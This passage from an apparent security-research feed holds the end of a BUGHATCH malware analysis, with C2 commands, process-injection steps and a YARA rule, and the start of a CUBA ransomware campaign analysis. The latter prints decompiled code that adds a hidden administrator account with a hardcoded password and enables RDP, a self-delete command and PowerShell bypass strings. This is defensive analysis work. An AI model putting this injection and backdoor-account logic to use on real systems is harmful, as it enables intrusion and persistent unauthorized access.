| 9                | ReflectivelyLoadDllRemote   | Executes a DLL reflectively in a remote process using CreateRemoteThread API                                                              |</p>
<p>The following is the structure that is used by the above commands:</p>
<pre><code>struct ExecutePayloadCommandStruct
{
  DWORD commandFlag;
  DWORD field_0;
  DWORD subCommandFlag_1;
  DWORD readPipeTimeOut_2;
  DWORD payloadSize_3;
  DWORD commandLineArgumentSize_4;
  DWORD STDINDataSize_5;
  CHAR payload_cmdline_stdin[n];
};
</code></pre>
<ul>
<li><strong>commandFlag:</strong> Indicates the command</li>
<li><strong>subCommandFlag:</strong> Indicates the subcommand</li>
<li><strong>readPipeTimeOut:</strong> Indicates the timeout for reading the output of child processes from a pipe</li>
<li><strong>payloadSize:</strong> Indicates the payload size</li>
<li><strong>commandLineArgumentSize:</strong> Indicates length of the command line arguments when executing the payload, example a PE binary</li>
<li><strong>STDINDataSize:</strong> Indicates the length of the standard input data that will be sent to the child process</li>
<li><strong>Payload_cmdline_stdin:</strong> Can contain the payload PE file for example, its command line arguments and the standard input data that will be forwarded to the child process, the malware knows the beginning and end of each of these using their respective length.</li>
</ul>
<h4 id="reflectivelyexecuteperemote">ReflectivelyExecutePERemote</h4>
<p>The agent reflectively loads PE binaries in the memory space of a created process in a suspended state (either <strong>cmd.exe</strong> or <strong>svchost.exe</strong> ). The agent leverages <a href="https://docs.microsoft.com/en-us/windows/win32/ipc/anonymous-pipes">anonymous (unnamed) pipes</a> within Windows to redirect the created child process's standard input and output handles. It first creates an anonymous pipe that will be used to retrieve the output of the created process, then the pipe handles are specified in the <strong>STARTUPINFO</strong> structure of the child process.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltca91803d981cbfad/6a7c7a62c2cc09fb0d2432c0/image41.jpg" alt="Pseudocode for anonymous pipe creation" title="Pseudocode for anonymous pipe creation" /></p>
<p>After creating the suspended process, the malware allocates a large memory block to write shellcode and a XOR encrypted PE file.</p>
<p>The shellcode will 2-byte XOR decrypt and load the embedded PE similar to ( <strong>Command 3</strong> ). This command can load 64bit and 32bit binaries, each architecture has its own shellcode PE loader, after injecting the shellcode it will point the instruction pointer of the child process’s thread to the shellcode and resume the thread.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3a5f046d215bbbfa/6a7c7a6473d9bd1bc0297b2e/image2.jpg" alt="Pseudocode of Reflective Loading PE into child processes" title="Pseudocode of Reflective Loading PE into child processes" /></p>
<p>The following is an example of a packet captured from our custom emulated C2 server, we can see the structure discussed earlier on the left side and the packet bytes on the right side, for each command implemented in the malware, a packet example will be given.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0d13e9156b03cfd4/6a7c7a672f00b29c71ef8d61/image7.png" alt="Example of a ReflectivelyExecutePERemote command received from an emulated C2" title="Example of a ReflectivelyExecutePERemote command received from an emulated C2" /></p>
<h4 id="droppediskexecute">DropPEDiskExecute</h4>
<p>With this subcommand, the operator can drop a PE file on disk and execute it. The agent has 3 different implementations depending on the PE file type, GUI Application, CUI (Console Application), or a DLL.</p>
<p>For CUI binaries, the malware first generates a random path in the temporary folder and writes the PE file to it using <strong>CreateFileA</strong> and <strong>WriteFile</strong> API.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt76954aa6d286b239/6a7c7a6a2f00b2a850ef8d65/image39.jpg" alt="Pseudocode writing payload to disk" title="Pseudocode writing payload to disk" /></p>
<p>It then creates a process of the dropped binary file as a child process by redirecting its standard input and output handles; after execution of the payload the output is sent to the operator’s C2 server.</p>
<p>For GUI PE binaries, the agent simply writes it to disk and executes it directly with <strong>CreateProcessA</strong> API.</p>
<p>And lastly, for DLL PE files, the malware first writes the DLL to a randomly generated path in the temporary folder, then uses <strong>c:\windows\system32\rundll32.exe</strong> or <strong>c:\windows\syswow64\rundll32.exe</strong> (depending on the architecture of the DLL) to run either an exported function specified by the operator or the function <strong>start</strong> if no export functions were specified.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd7c1a5242b584cdc/6a7c7a6de88c652fa4005745/image1.jpg" alt="Pseudocode running the payload dropped by DropPEDiskExecute function" title="Pseudocode running the payload dropped by DropPEDiskExecute function" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt72da3dc31a9bdd39/6a7c7a7077b0345d8f3f94e1/image34.png" alt="Example of a SelfShellcodeExecute command received from an emulated C2" title="Example of a SelfShellcodeExecute command received from an emulated C2" /></p>
<h4 id="selfshellcodeexecute">SelfShellcodeExecute</h4>
<p>This subcommand tasks the agent to execute shellcode in its own memory space by allocating a memory region using <strong>VirtualAlloc</strong> API and then copying the shellcode to it, the shellcode is executed by creating a thread using <strong>CreateThread</strong> API.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7615bb6763d0bf78/6a7c7a72bdcff041dac3cfdd/image37.jpg" alt="Pseudocode of SelfShellcodeExecute command" title="Pseudocode of SelfShellcodeExecute command" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt40bfe17d5ab51be6/6a7c7a75c33f4f0738d54980/image35.jpg" alt="Example of a SelfShellcodeExecute command received from an emulated C2" title="Example of a SelfShellcodeExecute command received from an emulated C2" /></p>
<h4 id="remoteshellcodeexecute">RemoteShellcodeExecute</h4>
<p>This sub-command can be used to execute a 32-bit or a 64-bit position independent shellcode in another process memory space.</p>
<p>Similarly to the <strong>SpawnAgent</strong> subcommand, the malware creates a suspended <strong>svchost.exe</strong> process with <strong>CreateProcessA</strong> API, allocates a memory region for the shellcode sent by the C2 server with <strong>VirtualAllocEx</strong> , and writes to it with <strong>WriteProcessMemory</strong> , it then sets the suspended thread instruction pointer to point to the injected shellcode with <strong>SetThreadContext</strong> and finally it will resume the thread with <strong>ResumeThread</strong> to execute the payload.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt527ea27011b4f04b/6a7c7a78e02fac5c585d03f3/image26.jpg" alt="Pseudocode writes shellcode to remote process" title="Pseudocode writes shellcode to remote process" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltca2d364008a268f1/6a7c7a7a33fa8aaed51fc853/image13.jpg" alt="Pseudocode set EIP of child process using SetThreadContext" title="Pseudocode set EIP of child process using SetThreadContext" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6f55aa01d9d1ed91/6a7c7a7d2f00b249aaef8d69/image23.jpg" alt="Example of a RemoteShellcodeExecute command received from an emulated C2" title="Example of a RemoteShellcodeExecute command received from an emulated C2" /></p>
<h4 id="executecmdandexecutepowershell">ExecuteCmd and ExecutePowershell</h4>
<p>An operator can execute PowerShell scripts or CMD scripts in the infected machine, the malware can either write the script to a file in the temporary folder with a randomly generated name as follow: <strong><code>TEMP&lt;digits&gt;.PS1</code></strong> for PowerShell or <strong><code>TEMP&lt;digits&gt;.CMD</code></strong> for a Command shell. The malware then passes parameters to it if specified by the malicious actor and executes it, the malware uses named pipes to retrieve the output of the PowerShell process.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta8809b98cc2a32b9/6a7c7a808fc2d00d603e87fd/image30.jpg" alt="Pseudocode of ExecuteCmd command" title="Pseudocode of ExecuteCmd command" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt98b03f4c5f6f0124/6a7c7a824c4bfb0959cc77db/image8.jpg" alt="Example of an ExecutePowershell command received from an emulated C2" title="Example of an ExecutePowershell command received from an emulated C2" /></p>
<h4 id="reflectivelyloaddllremote">ReflectivelyLoadDllRemote</h4>
<p>Execute reflectively a 32-bit or 64-bit DLL in a process created in a suspended state, the following summarizes the execution flow:</p>
<ul>
<li>Check if the PE file is a 32 or 64-bit DLL</li>
<li>Create a suspended <strong>svchost.exe</strong> process</li>
<li>Allocate memory for the DLL and the parameter for the DLL if specified by the C2 command with the <strong>VirtualAllocEx</strong> API</li>
<li>Write to the remotely allocated memory withthe <strong>WriteProcessMemory</strong> API the DLL and the parameter if specified</li>
<li>Create a remote thread to execute the injected DLL with the <strong>CreateRemoteThread</strong> API</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt41dccf0bfec03b1d/6a7c7a85437e0f8227dd5508/image19.jpg" alt="Pseudocode of a ReflectivelyLoadDllRemote command" title="Pseudocode of a ReflectivelyLoadDllRemote command" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt72da3dc31a9bdd39/6a7c7a7077b0345d8f3f94e1/image34.png" alt="Example of a ReflectivelyLoadDllRemote command received from an emulated C2" title="Example of a ReflectivelyLoadDllRemote command received from an emulated C2" /></p>
<h3 id="command2">Command 2</h3>
<p>The command 2 has multiple sub functionalities as shown in the command table above, according to a subCommandFlag the malware can do 6 different operations as follows:</p>
<p>|                  |                       |                              |
| ---------------- | --------------------- | ---------------------------- |
| Sub Command Flag | Function Name         | Functionality description    |
| 1                | ExitProcess           | Exit process                 |
| 2                | SelfDeleteExitProcess | Self delete and exit process |
| 3                | SpawnAgent64          | Spawn 64-bit agent           |
| 4                | SpawnAgent32          | Spawn 32-bit agent           |
| 0x1001           | ImpersonateToken      | Impersonate explorer         |
| 0x1002           | MigrateC2             | Change C2 config             |</p>
<p>The following is the structure that is used by the above commands:</p>
<pre><code>struct ImpersonateReplicateStruct
{
  int subCommandFlag;
  int impersonateExplorerToken;
  char padding[16];
  __int16 isParameterSet;
  WCHAR w_parameters[n];
};
</code></pre>
<h4 id="exitprocess">ExitProcess</h4>
<p>Calls the <strong>ExitProcess(0)</strong> API to terminate.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8694e1b64cd1b47d/6a7c7a88c33f4f8b06d54984/image25.png" alt="Example of an ExitProcess command received from an emulated C2" title="Example of an ExitProcess command received from an emulated C2" /></p>
<h4 id="selfdeleteexitprocess">SelfDeleteExitProcess</h4>
<p>The agent gets the PATH of the current process with <strong>GetModuleFileNameA</strong> and then executes the following command to self-delete: <strong>cmd.exe /c del FILEPATH \&gt;\&gt; NUL</strong> using <strong>CreateProcessA</strong> then simply exit the process with <strong>ExitProcess(0)</strong>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5b1a70519891b3df/6a7c7a8b73d9bd0d3e297b32/image17.png" alt="Example of a SelfDeleteExitProcess command received from an emulated C2" title="Example of a SelfDeleteExitProcess command received from an emulated C2" /></p>
<h4 id="spawnagent64andspawnagent32">SpawnAgent64 and SpawnAgent32</h4>
<p>When subcommands 3 or 4 are specified, the malware will spawn another agent on the same machine depending on the subcommand sent by the C2, as shown in the table above.</p>
<p>The malware first retrieves the C2 IP address embedded in it, it will then do an HTTP GET request to download a packed agent in shellcode format, in the sample we analyzed <strong>/Agent32.bin</strong> URI is for the 32-bit agent, and <strong>/Agent64.bin</strong> is for 64-bit the agent.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blted773f84eec3a781/6a7c7a8e227b1c6eb45925c5/image33.jpg" alt="Pseudocode spawning another agent" title="Pseudocode spawning another agent" /></p>
<p>The malware then creates a suspended <strong>svchost.exe</strong> process with <strong>CreateProcessA</strong> API, writes the agent shellcode to the process, sets its instruction pointer to point to the injected shellcode with <strong>SetThreadContext</strong> , and finally it will resume the thread with <strong>ResumeThread</strong> to execute the injected payload.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb31f3afb500b9ab5/6a7c7a9196b5a6bfd18754aa/image5.png" alt="Example of a SpawnAgent32 command received from an emulated C2" title="Example of a SpawnAgent32 command received from an emulated C2" /></p>
<h4 id="impersonatetoken">ImpersonateToken</h4>
<p>This subcommand is specific to process tokens; an attacker can either impersonate the <strong>explorer.exe</strong> token or create a token from credentials (Domain\Username, Password) sent by the C2 to spawn another instance of the current process.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt06889f82de56cf8a/6a7c7a93c2cc09757b2432c4/image44.jpg" alt="Pseudocode ImpersonateToken command" title="Pseudocode ImpersonateToken command" /></p>
<p>It will first check if the current process is a local system account or local service account or network service account by testing whether the given process token is a member of the group with the specified RID ( <strong>SECURITY_LOCAL_SYSTEM_RID</strong> , <strong>SECURITY_LOCAL_SERVICE_RID</strong> , <strong>SECURITY_NETWORK_SERVICE_RID</strong> ) respectively.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt72f9fab847aa9db4/6a7c7a9633fa8a6fbe1fc85b/image36.jpg" alt="Pseudocode check token group membership" title="Pseudocode check token group membership" /></p>
<p>Then depending if the operator specified credentials or not, the malware will first call <strong>LogonUserW</strong> with the Domain\User and password to create a token then it will spawn another instance of the current process with this token.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt22bb44b0d1d02017/6a7c7a98e88c657c0100574b/image24.jpg" alt="Pseudocode LogonUserW to create a token" title="Pseudocode LogonUserW to create a token" /></p>
<p>If not, the implant will impersonate the <strong>explore.exe</strong> process by duplicating its token with <strong>DuplicateTokenEx</strong> and then spawn the current process with the duplicated token if no credentials are specified.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltfd6baab7ed83f5cb/6a7c7a9bde231503c6fd1d0e/image21.png" alt="Example of an ImpersonateToken command received from an emulated C2" title="Example of an ImpersonateToken command received from an emulated C2" /></p>
<h4 id="migratec2">MigrateC2</h4>
<p>The operator can migrate the implant to another C2 server by specifying the subcommand <strong>0x1001</strong> with the IP address of the new C2.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9678ac7ff186b5cc/6a7c7a9ede2315a7b6fd1d12/image4.jpg" alt="Pseudocode migrating the implant" title="Pseudocode migrating the implant" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7774353d44d2e840/6a7c7aa1437e0f341cdd550c/image31.png" alt="Example of a MigrateC2 command received from an emulated C2" title="Example of a MigrateC2 command received from an emulated C2" /></p>
<h3 id="command3">Command 3</h3>
<p>When command 3 is received the malware will reflectively load a PE file embedded as payload in the C&amp;C request in another process's memory space, the following is an overview of the execution:</p>
<ul>
<li>Determine the type and architecture of the PE file</li>
<li>Create a suspended process</li>
<li>Allocate a large memory in the suspended process</li>
<li>Write a shellcode in the allocated memory that will locate, decrypt and reflectively load the PE file</li>
<li>2-byte XOR encrypt the PE file and append it after the shellcode</li>
<li>Set the EIP context of the suspended process to execute the shellcode</li>
</ul>
<p>The shellcode will then reflectively load the PE file</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt29800a012ab8d720/6a7c7aa4437e0fd712dd5510/image6.jpg" alt="Pseudocode for Command 3's main logic" title="Pseudocode for Command 3's main logic" /></p>
<p>The agent first parses the PE file received from the C2 server to determine the type and architecture of the PE file.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4f588168ae147bc9/6a7c7aa633fa8a31501fc861/image28.jpg" alt="Pseudocode determines the PE file architecture" title="Pseudocode determines the PE file architecture" /></p>
<p>And according to this information, a Windows signed executable will be chosen to inject into.</p>
<p>If the PE file is CUI (Console User Interface), the malware will choose <strong>cmd.exe</strong> , however, if it is GUI (Graphical User Interface) or a DLL PE file it will choose <strong>svchost.exe</strong>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt118db57b4aa6f4ad/6a7c7aa951156a7c242bc7f0/image11.jpg" alt="Options for malware to inject into" title="Options for malware to inject into" /></p>
<p>The malware will then create a suspended process with <strong>CreateProcessA</strong> API (either <strong>cmd.exe</strong> or <strong>svchost.exe</strong> ) and allocate a large amount of memory with <strong>VirtualAllocEx</strong> in the created process, it will then copy a position independent shellcode stored in the <strong>.rdata</strong> section to the newly allocated memory that is responsible for locating according to a specific tag the appended PE file, decrypt it and reflectively load it in memory.</p>
<p>Then it appends after the shellcode a 12 bytes structure composed of a tag, the size of the PE file, and a 2-byte XOR key.</p>
<p>It will then 2-byte XOR encrypt the PE file and append it after the structure, the following is an overview of the written data to the allocated memory:</p>
<p>|           |     |         |                |                              |
| --------- | --- | ------- | -------------- | ---------------------------- |
| SHELLCODE | TAG | PE SIZE | 2-byte XOR KEY | 2-byte XOR encrypted PE file |</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt300f6c4c71db182b/6a7c7aace3a2194d26999656/image27.jpg" alt="Pseudocode write shellcode and PE to child process" title="Pseudocode write shellcode and PE to child process" /></p>
<p>The agent will then set the thread context with <strong>SetThreadContext</strong> and point the instruction pointer of the suspended process to the shellcode then it will simply resume the execution with <strong>ResumeThread</strong>.</p>
<p>The shellcode will first locate the 2-byte XOR encrypted PE file according to the tag value ( <strong>0x80706050</strong> ), it will then 2-byte XOR decrypt it and load it reflectively on the same process memory.</p>
<h2 id="observedadversarytacticsandtechniques">Observed adversary tactics and techniques</h2>
<p>Elastic uses the MITRE ATT&amp;CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3 id="tactics">Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0002">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010">Exfiltration</a></li>
</ul>
<h3 id="techniquessubtechniques">Techniques / sub techniques</h3>
<p>Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1059/003/">Command and Scripting Interpreter: Windows Command Shell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1573/002/">Encrypted Channel: Asymmetric Cryptography</a></li>
<li><a href="https://attack.mitre.org/techniques/T1573/001/">Encrypted Channel: Symmetric Cryptography</a></li>
<li><a href="https://attack.mitre.org/techniques/T1041/">Exfiltration Over C2 Channel</a></li>
<li><a href="https://attack.mitre.org/techniques/T1119/">Automated Collection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1106/">Native API</a></li>
</ul>
<h2 id="detections">Detections</h2>
<h3 id="detectionrules">Detection rules</h3>
<p>The following detection rule was observed during the analysis of the BUGHATCH sample. This rule is not exclusive to BUGHATCH activity.</p>
<ul>
<li><a href="https://www.elastic.co/guide/en/security/current/enumeration-of-privileged-local-groups-membership.html#enumeration-of-privileged-local-groups-membership">Enumeration of Privileged Local Groups Membership</a></li>
</ul>
<h3 id="yararule">YARA rule</h3>
<p>Elastic Security has created a <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Bughatch.yar">YARA rule</a> to identify this activity.</p>
<pre><code>rule Windows_Trojan_BUGHATCH {
    meta:
        author = “Elastic Security”
        creation_date = "2022-05-09"
        last_modified = "2022-06-09"
        license = “Elastic License v2”
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "BUGHATCH"
        threat_name = "Windows.Trojan.BUGHATCH"
        reference_sample = "b495456a2239f3ba48e43ef295d6c00066473d6a7991051e1705a48746e8051f"

    strings:
    $a1 = { 8B 45 ?? 33 D2 B9 A7 00 00 00 F7 F1 85 D2 75 ?? B8 01 00 00 00 EB 33 C0 }
    $a2 = { 8B 45 ?? 0F B7 48 04 81 F9 64 86 00 00 75 3B 8B 55 ?? 0F B7 42 16 25 00 20 00 00 ?? ?? B8 06 00 00 00 EB ?? }
    $a3 = { 69 4D 10 FD 43 03 00 81 C1 C3 9E 26 00 89 4D 10 8B 55 FC 8B 45 F8 0F B7 0C 50 8B 55 10 C1 EA 10 81 E2 FF FF 00 00 33 CA 8B 45 FC 8B 55 F8 66 89 0C 42 }
     $c1 = "-windowstyle hidden -executionpolicy bypass -file"
     $c2 = "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"
     $c3 = "ReflectiveLoader"
     $c4 = "\\Sysnative\\"
     $c5 = "TEMP%u.CMD"
     $c6 = "TEMP%u.PS1"
     $c7 = "\\TEMP%d.%s"
     $c8 = "NtSetContextThread"
     $c9 = "NtResumeThread"

    condition:
        any of ($a*) or 6 of ($c*)
}
</code></pre>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/bughatch-malware-analysis</link>
    <guid isPermaLink="false">bughatch-malware-analysis</guid>
    <category><![CDATA[Malware Analysis]]></category>
    <dc:creator><![CDATA[Salim Bitam]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte2fe977dc0f957f1/6a7c7aaf4c4bfb6931cc77e1/libraries-edev-ops-1680x980.jpg" length="0" type="image/jpeg"/>
    <pubDate>Fri, 09 Sep 2022 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[CUBA Ransomware Campaign Analysis]]></title>
    <description><![CDATA[Elastic Security observed a ransomware and extortion campaign leveraging a combination of offensive security tools, LOLBAS, and exploits to deliver the CUBA ransomware malware.]]></description>
    <content:encoded><![CDATA[<h2 id="keytakeaways">Key Takeaways</h2>
<ul>
<li>The Elastic Security Team is tracking an organized and financially-motivated ransomware and extortion group called Cuba Ransomware</li>
<li>Cuba Ransomware targets small and medium-sized retailers, exfiltrating sensitive information, and then deploying ransomware</li>
<li>Cuba Ransomware uses a “name and shame” approach by releasing exfiltrated data as an additional method to extort ransomware cryptocurrency payments</li>
<li>We are releasing a YARA signature and providing hunting queries that detect this ransomware family</li>
</ul>
<blockquote>
  <p>For information on the CUBA ransomware campaign and associated malware analysis, check out our blog posts detailing this:</p>
  <ul>
  <li><a href="https://www.elastic.co/security-labs/cuba-ransomware-malware-analysis">CUBA Malware Analysis</a></li>
  <li><a href="https://www.elastic.co/security-labs/bughatch-malware-analysis">BUGHATCH Malware Analysis</a></li>
  </ul>
</blockquote>
<h2 id="preamble">Preamble</h2>
<p>The Elastic Security Team is tracking a threat group that is leveraging the Cuba Ransomware, combined with data exfiltration and extortion, to target North American and European retailers and manufacturers for cryptocurrency payments. The threat group has followed an effective, but repetitive cluster of TTPs for initial access, lateral movement, exfiltration, ransomware deployment, and extortion.</p>
<h2 id="initialaccess">Initial Access</h2>
<p>The incidents that we have observed included hosts that were infected with a litany of initial access opportunities. These included everything from potentially unwanted programs (PUP) to remotely executable vulnerabilities. Because of this, we cannot verify what the initial access vehicle was, but there are two theories:</p>
<ul>
<li>An access broker</li>
<li>A remotely exploitable vulnerability</li>
</ul>
<p>While there are many ways to gain access into a targeted network, we’ll explore the most likely hypotheses for how the CUBA threat group gained access.</p>
<h3 id="accessbroker">Access Broker</h3>
<p>As an introduction, an access broker is a threat group who, as they move through the <a href="https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html">kill chain</a>, has their “actions on objective” as collecting and maintaining remote access into a targeted network so that access can be sold to other threat groups who have other goals.</p>
<p>This is a common tactic for ransomware campaigns where the goal is to rapidly encrypt and extort victims into paying to recover data. When using ransomware kits (ransomware-as-a-service), the threat actors are often focused on moving rapidly across many victims and not on the reconnaissance required to identify and exploit victims to deploy their ransomware.</p>
<p>Ransomware-as-a-service includes a lot of overhead such as negotiating with victims, troubleshooting unlock procedures, and managing the crypto infrastructure. It is often easier to purchase previously exploited systems that allow the ransomware campaign owners to be “shell wranglers” instead of needing to gain and maintain access to a large number of environments.</p>
<p>The theory that an initial access broker may have been used began percolating because we observed access attempts using an Exchange vulnerability in multiple contested networks; however, all networks did not receive the CUBA ransomware. Additionally, we observed initial access attempts in January but did not observe CUBA ransomware until March which would align with an access broker gaining and maintaining persistence while shopping for a buyer.</p>
<p>In the environments where the CUBA ransomware was not deployed, the incident response was rapid, however incomplete, and access was regained. Once the persistence was observed, the adversary was successfully evicted and CUBA was never deployed.</p>
<h3 id="remotelyexploitablevulnerability">Remotely Exploitable Vulnerability</h3>
<p>We observed the execution of the ProxyLogon exploit. <a href="https://www.mandiant.com/resources/unc2596-cuba-ransomware"><u>Previous research</u></a> has observed this threat group leveraging <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26855"><u>ProxyLogon</u></a> and <a href="https://www.mandiant.com/resources/pst-want-shell-proxyshell-exploiting-microsoft-exchange-servers"><u>ProxyShell</u></a> vulnerabilities to gain initial access.</p>
<pre><code>c:\windows\system32\inetsrv\w3wp.exe, -ap, MSExchangeOWAAppPool, -v, v4.0, -c, C:\Program Files\Microsoft\Exchange Server\V15\bin\GenericAppPoolConfigWithGCServerEnabledFalse.config, -a, \\.\pipe\[redacted], -h, C:\inetpub\temp\apppools\MSExchangeOWAAppPool\MSExchangeOWAAppPool.config, -w, (empty), -m, 0
</code></pre>
<p>In each case REF9019 activity was traced back to Windows servers running Microsoft’s Exchange Server. Although we do not have information on the patch levels of those machines at the time of the execution or the exact vulnerabilities exploited, there is corroborating evidence regarding the exploitation of publicly accessible Exchange servers at this time generally, as well as specific reporting tied to the CUBA threat actor exploiting them.</p>
<p>This information combined with the lack of activity preceding this event, as well as the order of tactics after, indicates that in both cases exploitation of publicly accessible Exchange servers initiated the compromise.</p>
<blockquote>
  <p>While analyzing certain alerts throughout these events, we used data present in the process.Ext.memory_region.bytes_compressed field, and the technique we described in our <a href="https://www.elastic.co/security-labs/collecting-cobalt-strike-beacons-with-the-elastic-stack">Cobalt Strike series</a>, to extract the memory-resident binaries and shellcode.</p>
</blockquote>
<h2 id="establishfoothold">Establish Foothold</h2>
<h3 id="afkttf">afk.ttf</h3>
<p>This exploitation attempt preceded one primary infection by about 6 weeks. It appears a tactics shift occurred in the intervening period.</p>
<p>The file afk.ttf has been identified as a variant of “ZenPak” by some vendors on VirusTotal. ZenPak is categorized as a generic Trojan which has been associated with the Bazar malware family. The BazarBackdoor has a long history and was recently sighted in ransomware-as-a-service campaigns.</p>
<p>Initially, afk.ttf was identified through a malicious_file alert when it was created by the IIS worker process (w3wp.exe) handling the Exchange Service.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta655e83fb25139f5/6a7c7b2405b7b50b47185992/image14-cuba-ransomware-elastic.png" alt="" /></p>
<p>The afk.ttf file is a 64-bit Windows DLL that has a single export, bkfkals. Next, afk.ttf is loaded by rundll32.exe (spawned by w3wp.exe) which unpacks shellcode in memory and executes it. The unpacked shellcode is a Meterpreter payload from the offensive security framework, <a href="https://github.com/rapid7/metasploit-framework">Metasploit</a>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt018d6ac3a22625d8/6a7c7b27de23155f28fd1d18/image16-cuba-ransomware-elastic.png" alt="" /></p>
<p>Following this, afk.ttf uses an injection technique that allows the injected code to run before the entry point of the main thread of the process. This is known as <a href="https://www.cyberbit.com/endpoint-security/new-early-bird-code-injection-technique-discovered/">Early Bird injection</a> and is used in this situation to inject the shellcode in a suspended process for nslookup 8.8.8.8. Once the shellcode was deobfuscated for execution, the Elastic Agent identified and prevented the Metasploit payload.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc76a23484d63c55d/6a7c7b2a73d9bd5dc7297b3e/image10-cuba-ransomware-elastic.jpg" alt="" /></p>
<p>Using the process.Ext.memory_region.bytes_compressed field we were able to recover the memory snapshot from these two alerts and verified that the shellcode was Meterpreter, which is part of the Metasploit framework. Additionally, we were able to extract the C2 IP (159.203.70[.]39) and URI (/Time/cb6zubbpio…truncated…).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdde881c056cb194f/6a7c7b2d77b034573a3f94e9/image27-cuba-ransomware-elastic.jpg" alt="" /></p>
<p>Ultimately this foothold was either never established, or abandoned because there is no further activity from this endpoint until it is re-exploited about 6 weeks later.</p>
<h3 id="add2exe">add2.exe</h3>
<p>The primary execution chain of both infections started with a malicious_file alert that fired upon the creation and execution of add2.exe by the IIS worker process handling the Exchange service. This was the same technique observed previously with the afk.ttf attempt. Interestingly, these executions happened within about 15 minutes of each other on victims in different countries and different industry verticals.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbe606c2fb5d1039c/6a7c7b302f00b23608ef8d72/image24-cuba-ransomware-elastic.png" alt="" /></p>
<p>The Elastic Malware Analysis and Reverse Engineering (MARE) team was able to <a href="https://www.virustotal.com/gui/file/728994be6b928de3d1c7b49ca1c79db8656c1cf4b95a1e508a6be48c6ab407da/detection"><u>find this file in VirusTotal</u></a> and pull it down for binary analysis.</p>
<pre><code>BOOL sub_4013B0()
{
  int v1;
  int v2;
  WCHAR REMOTE_DESKTOP_USERS_groups_list[256];
  WCHAR ADMINS_groups_list[256];
  char password[44];
  wchar_t username[9];
  v2 = enum_local_groups(DOMAIN_ALIAS_RID_ADMINS, ADMINS_groups_list);
  v1 = enum_local_groups(DOMAIN_ALIAS_RID_REMOTE_DESKTOP_USERS, REMOTE_DESKTOP_USERS_groups_list);
  if ( v2 || v1 )
  {
    wcscpy(username, L"Mysql");
    qmemcpy(password, L"KJaoifhLOaiwdhadx1@!", 0x2Au);
    if ( Add_user((int)username, (int)password) )
    {
      if ( v2 )
        add_user_groups(ADMINS_groups_list, (int)username);
      if ( v1 )
        add_user_groups(REMOTE_DESKTOP_USERS_groups_list, (int)username);
      hide_accountName(username); SpecialAccounts\\UserList regkey
    }
  }
  return enable_RDP();
}
</code></pre>
<p>MARE determined that this executable performs several functions:</p>
